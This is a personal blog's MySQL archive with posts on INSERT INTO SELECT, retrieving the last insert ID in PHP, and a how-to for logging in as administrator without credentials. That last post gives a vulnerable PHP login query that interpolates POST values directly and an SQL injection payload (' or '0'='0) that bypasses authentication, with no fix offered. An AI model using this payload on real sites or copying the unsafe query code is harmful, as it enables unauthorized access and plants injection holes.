Jijo K Jose

Personal Website

Archive for the ‘MYSQL’ Category

October 3rd, 2012

Database, MYSQL

No Comments »

Insert Data from One Table to another Table in MYSQL – Insert Into Select & Select Into Table

Method 1: INSERT INTO SELECT

This method is used when table is already created in the database earlier and data is to be inserted into this table from another table. If columns listed in insert clause and select clause are same, they are are not required to list them. I always list them for readability and scalability purpose.

—-Create TestTable

CREATE TABLE TestTable (FirstName VARCHAR(100), LastName VARCHAR(100))

—-INSERT INTO TestTable using SELECT

INSERT INTO TestTable (FirstName, LastName)

SELECT FirstName, LastName

FROM Person.Contact

WHERE EmailPromotion = 2

—-Verify that Data in TestTable

SELECT FirstName, LastName

FROM TestTable

—-Clean Up Database

DROP TABLE TestTable

How to find id of last inserted row in MYSQL using PHP

To find id (auto increment) value of last inserted row, put the following code into the PHP page.

<?php

$link = mysql_connect('localhost', 'mysql_usenamer', 'mysql_password');

if (!$link) {

die('Could not connect:to the database ' . mysql_error());

}

mysql_select_db('mydb');

mysql_query("INSERT INTO mytable (user) values ('jijo')");

printf("Last inserted record has id %d\n", mysql_insert_id());

?>

How to login as Administrator in website without having username and password

Method 1

If the PHP code in the login check page is like below

<?php

$username=$_POST[‘username’];

$password=$_POST[‘password’];

mysql_query("select * from user where username='$username' and password='$password' ");

?>

Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.

Put the value of username : test1

Put the value of password : test2' or '0'='0

Then the PHP code in the login check page will be changed to

<?php

$username=$_POST[‘username’];

$password=$_POST[‘password’];

mysql_query("select * from user where username='test1' and password='test2' or '0'='0' ");

?>

Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.